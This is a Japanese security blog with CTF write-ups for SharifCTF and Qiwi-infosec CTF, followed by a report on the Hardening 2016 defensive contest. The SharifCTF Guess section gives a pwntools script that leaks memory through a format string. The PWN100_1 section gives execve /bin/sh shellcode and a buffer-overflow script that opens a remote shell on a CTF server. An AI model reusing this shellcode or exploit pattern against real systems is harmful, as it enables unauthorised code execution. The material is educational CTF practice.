楽しいセキュリティ

CTFやPythonなどについて勉強したことを書きます。

SharifCTF WriteUP

はじめに

12月17~18日に開催されたSharifCTFに参加しました。その中で解けた問題のWriteUPを書きます。

解けた問題

・Guess (pwn 50point)

・Getit (rev 50)

Getit

ファイルをダウンロードし、gdbpedaにかけると/tmp/flag.txtを作って書き込んでいることがわかります。そこで、ブレークポイントを使ってプログラムを止めてファイルを開きますが「*******************************************」としか書かれてません。

次にStraceにかけると、以下のようにファイルへ1文字書き込んだあと*で上書きしていることがわかります。

write(3, "*******************************************\n", 44) = 44
lseek(3, 30, SEEK_SET)                  = 30
write(3, "5", 1)                        = 1
lseek(3, 0, SEEK_SET)                   = 0
write(3, "*******************************************\n", 44) = 44
lseek(3, 24, SEEK_SET)                  = 24
write(3, "a", 1)                        = 1
lseek(3, 0, SEEK_SET)                   = 0

lseek関数の第一引数が何番目に書き込むか、 Write関数の第2引数が書き込み文字なので、あとは地道に繋げればフラグをゲットできました。

SharifCTF{b70c59275fcfa8aebf2d5911223c6589}

Guess

NCコマンドでアクセスすると、入力した文字がそのまま表示されます。そこで、フォーマットストリングを試しに入力してみるとメモリの中身が表示されました。

$ nc ctf.sharif.edu 54517
%08x
Hidden string is at somewhere.
2c9f6323

ここまでは早かったのですが、いつも通り%08xでメモリを出力しアスキーコードにしてもフラグは出て来ませんでした。どうやら原因は%08xだとメモリの中身を32ビット分しか出力されないためのようです。かわりに%pを使うと64bit分で出力してくれました。ちなみにメモリの中身をアスキーに変換するのはプログラムを書きました。(コードが汚いのがご容赦ください。)

from pwn import*
r = remote('ctf.sharif.edu', 54517)
format_string= "%p,"*200 +"%p\n"
r.send(format_string)
byte_code = r.readall(0.9)
msg = byte_code.decode('utf-8')
msg = msg.replace('\n','')
ch_list = msg.split(',')
list_16w = []
for i in ch_list:
    if i[0:2] == "0x":
        x = "0"*(16-len(i[2:])) + i[2:]
        list_16w.append(x)
for i in list_16w:
    line = ""
    for j in range(0,len(i)-1,2):
        ch_hex = "0x" + i[j] + i[j+1]
        if str.isalnum(chr(int(ch_hex,16))):
            line = line + chr(int(ch_hex,16))
        elif(chr(int(ch_hex,16))=="{" or chr(int(ch_hex,16)) =="}"):
            line = line + chr(int(ch_hex,16))
    print(line)

出力された文字を見ていくと以下のような文字列があります。

TCfirahS
824d5a{F
b7ccc236
a6c753df
5a87a821
}c8 

これを並び替えるとフラグになります。(メモリの中身はリトルエンディアンなので、右から左に読みます。)

SharifCTF{a5d428632ccc7bfd357c6a128a78a58c}

感想

本大会では、pwn50,pwn150,pwn200と3問もフォーマットストリングが出題されたので、もうフォーマットストリングはお腹一杯です。次はバッファオーバーフローの問題が解きたいです。

Qiwi-infosec CTF PWN100_1 WireUP

はじめに

11月17日に参加したQiwi-infosec CTFの問題のWriteUP書きたいと思います。

チャレンジした問題

 PWN100_1:バッファオーバーフロー攻撃を使ってシェルコードを実行する。
 PWM100_2:FormatString攻撃を使うことまでは分かったが解けなかった。

WriteUP PWN100_1

ncコマンドで138.201.98.42のポート4000にアクセスし、文字入力を求められます。試しに、AA・・を入力すると以下のような出力が得られます。

$nc 138.201.98.42 4000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Trace stack:
0xffffd084: 0x000000b4 
0xffffd080: 0xffffd09c 
0xffffd07c: 0x56555809 <= ret
0xffffd078: 0xffffd158 
0xffffd074: 0x56557000
0xffffd070: 0x00000000
0xffffd06c: 0x00000009
0xffffd068: 0xffffd09c
0xffffd064: 0xf7ff0fe0
0xffffd060: 0xffffd158
0xffffd05c: 0xf7e24940
0xffffd058: 0x00000000
0xffffd054: 0x56557000
0xffffd050: 0x00000001
0xffffd04c: 0x0000000a
0xffffd048: 0x000000b3
0xffffd044: 0xffffd09c
0xffffd040: 0xf7fcec20
0xffffd03c: 0xf7e88351
0xffffd038: 0xf7e28ec8
0xffffd034: 0x56555200
0xffffd030: 0x565552b0
0xffffd02c: 0x56557010
0xffffd028: 0xffffd044
0xffffd024: 0x00000000
0xffffd020: 0x00000001
0xffffd01c: 0x0000000a
0xffffd018: 0x000000b3
0xffffd014: 0xffffd09c
0xffffd010: 0xf7fcec20
0xffffd00c: 0xf7e8000a
0xffffd008: 0x41414141
0xffffd004: 0x41414141
0xffffd000: 0x41414141
0xffffcffc: 0x41414141
0xffffcff8: 0x41414141
0xffffcff4: 0x41414141
0xffffcff0: 0x41414141
0xffffcfec: 0x41414141 you buffer

出力のyou bufferが入力した文字を格納した場所で、retが関数の戻りアドレスを格納した場所と思われます。そして、一番左の列は、格納してあるメモリのアドレスが書かれています。戻りアドレスには次に実行するメモリのアドレスが入っているので、このアドレスを入力した文字で上書きしyou bufferのアドレス(0xffffcfec)に飛ばして、あらかじめ入力文字の中に入れておいたシェルコードを実行させます。

なお、サーバ上のメモリを上書きする際は、コマンドラインで直接入力できない(アスキーコードになってしまうため)ので、pythonのpwntoolsライブラリを利用してプログラムを作成しました。

from pwn import *
import time

r = remote('138.201.98.42', 4000)

#return address ffffcffc
ret = '\xfc\xcf\xff\xff'

shellcode = '\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1'

exploit_code = shellcode + ('A'*(144 - len(shellcode)))  + ret + '\n'

r.send(exploit_code)

time.sleep(1)

r.interactive()

プログラムを実行すると、サーバ側でシェルが立ち上がりました。そして、カレントディレクトリにflagというファイルがあったので、catコマンドで中身を表示させるとflagを取得できました。

$python PWN100_1.py 
[+] Opening connection to 138.201.98.42 on port 4000: Done
[*] Switching to interactive mode
Trace stack:
0xffffd094: 0x000000b4 
0xffffd090: 0xffff000a 
0xffffd08c: 0xffffcffc <= ret
0xffffd088: 0x41414141 
0xffffd084: 0x41414141
0xffffd080: 0x41414141
0xffffd07c: 0x41414141
0xffffd078: 0x41414141
0xffffd074: 0x41414141
0xffffd070: 0x41414141
0xffffd06c: 0x41414141
0xffffd068: 0x41414141
0xffffd064: 0x41414141
0xffffd060: 0x41414141
0xffffd05c: 0x41414141
0xffffd058: 0x41414141
0xffffd054: 0x41414141
0xffffd050: 0x41414141
0xffffd04c: 0x41414141
0xffffd048: 0x41414141
0xffffd044: 0x41414141
0xffffd040: 0x41414141
0xffffd03c: 0x41414141
0xffffd038: 0x41414141
0xffffd034: 0x41414141
0xffffd030: 0x41414141
0xffffd02c: 0x41414141
0xffffd028: 0x41414141
0xffffd024: 0x41414141
0xffffd020: 0x41414141
0xffffd01c: 0x41414141
0xffffd018: 0xe1ebe189
0xffffd014: 0x5352e389
0xffffd010: 0x6e69622f
0xffffd00c: 0x6868732f
0xffffd008: 0x2f6852d2
0xffffd004: 0x31580b6a
0xffffd000: 0x68fceb68
0xffffcffc: 0x6880cd68 you buffer
$ $ ls
expl100  flag  run
$ $ cat flag
flag:{Xp2dyM3RO89BuaO}

感想

CTFを初めて約2年が経過し、やっとPanableジャンルの問題をとけるようになってきました。しかし、まだ簡単なExploitしかできないので、まずはSECCON2016までに他のExplitのやり方も練習してブログに書ければと思います。

Hardening 100 Weakest Link に参加してみた

はじめに

 エンジニアにとって、自分の学んだ知識を発信することは、多くのメリットがあると教わったのでブログを始めてみました。
 まずは、11月1日に沖縄で開催されたHardening2016に参加したことについて書きたいと思います。

Hardeningとは?

 簡単に説明すると、競技者はショッピングサイトを運営する会社の情シスになり、サイバー攻撃からサイトを守りながら、ショッピングサイトでの売上を競う競技です。
 詳しくは下記サイトをご参照ください。
  Hardening Project 2016 | Web Application Security Forum - WASForum

大会までの準備

 チームメンバー(6人)は運営がランダムに決定するので、全員初対面です。そこで、Slackでメンバーとやり取りしつつ準備を進めました。

  • マーケットプレイス主催の勉強会に参加
  • Skype会議で大会当日の役割分担を決定
  • 過去の大会の資料を読む
  • 担当サーバの勉強
  • 自動監視・再起動用のスクリプトを作成
  • 報告書などのテンプレートを準備
  • 前日入りし打ち合わせ兼飲み会 etc

大会当日の作業内容(ポイント抜粋)

 大会当日は、チームメンバーと協力して戦い、優勝することができました。以下は、大会中に勝利につながったポイントです。

1.全サーバのバックアップ

 攻撃によってシステム停止に陥っても復旧できる。ランサムウェアで攻撃された際、バックアップしてなかったチームは身代金(1台200万)を支払うことになった。

2.CTCの脆弱性情報共有サービスを購入

 CTCのセキュリティエンジニアが見つけた脆弱性の情報を展開してくれる。この情報をもとに対策を行うことで多くの攻撃を防げた。

  • 外部から攻撃して来ている端末のIP情報 ⇒ FWで遮断
  • 管理コンソールの脆弱性情報      ⇒ Basic認証を追加 etc

3.売上をUPさせられる広告だけを購入

  前回の大会は広告を買うほど利益が上がるシステムだったが、今回は需要が高い時を見極めて買わないと利益はダウンしてしまうようになっていた。

4.新商品の追加
 競技中に新商品の三線を販売可能になったメールが来た。三線は価格が高いので後々売上に大きな差が出た。

5.情報漏洩による謝罪会見

 首位を走っていた2チームは、競技中に情報漏洩が発覚し、壇上で謝罪会見を行わなければならなくなった。謝罪会見が悪いと売上が落ちてしまうが、チームリーダの素晴らしい対応のおかげで回避できた。

6.マーケットプレイスのスタンプラリーを活用
 マーケットプレイスでサービスを3つ購入すると、マーケットプレイスにいる技術力の高いエンジニアが一定時間(30分?)スケットに来てくれる。このサービスを利用して、システムに入り込んでいたマルウェアを駆除してもらった。

競技中に受けた攻撃

 競技中は以下のような攻撃を受け、何度もサービス停止に陥りました。しかし、ほとんど攻撃の原因を特定できませんでした。次回参加する場合は、攻撃原因の特定方法(ログの読み方など)をもっと勉強しておきたいと思います。

  • WEBサーバのパーミッションを書き換えられる(SQLインジェクション?)
  • 踏み台サーバを再起動される(全権限許可のIISが起動してた?)
  • WEBサーバをランサムウェアに感染させられる
  • 踏み台サーバのWindowsFWを書き換えられる
  • メール相手を装って標的型メールを送られる
  • WEBサーバや、踏み台端末にマルウェアを仕込まれる etc

気づき

 今回の大会においては、攻撃を予測して対策を講じるよりも、攻撃を受けた後に迅速な復旧と再発防止策を実施するほうが効果的でした。

 競技中は序盤からたくさん攻撃がくるので、社内環境を調査して対策を講じるような時間はなかなか取れませんし、攻撃された時のログなどから攻撃の原因を調査して対策を講じる方が確実で早いと思います。

感想

 とても楽しく勉強もになる素晴らしい大会でした!
 セキュリティ機能・製品は、効果を実感することが殆どないので、イメージが沸かず、なかなか勉強するモチベーションが上がりにくいと思うんですが、Hardeningは本物のサイバー攻撃がバンバン飛んでくるので、準備段階から「どんな攻撃が来るだろう?」、「どうすれば防げるだろう?」と、わくわくしながら技術を学ぶことができたし、競技の中も「システム停止の原因は何なんだ!?」、「どうすれば対策できるんだ!?」など、インシデント切り分けや、フォレンジックなどのノウハウについても危機感をもって学ぶことができました。

 ぜひ、Hardeningに興味をもった方は来年の大会に出場してみてほしいと思います。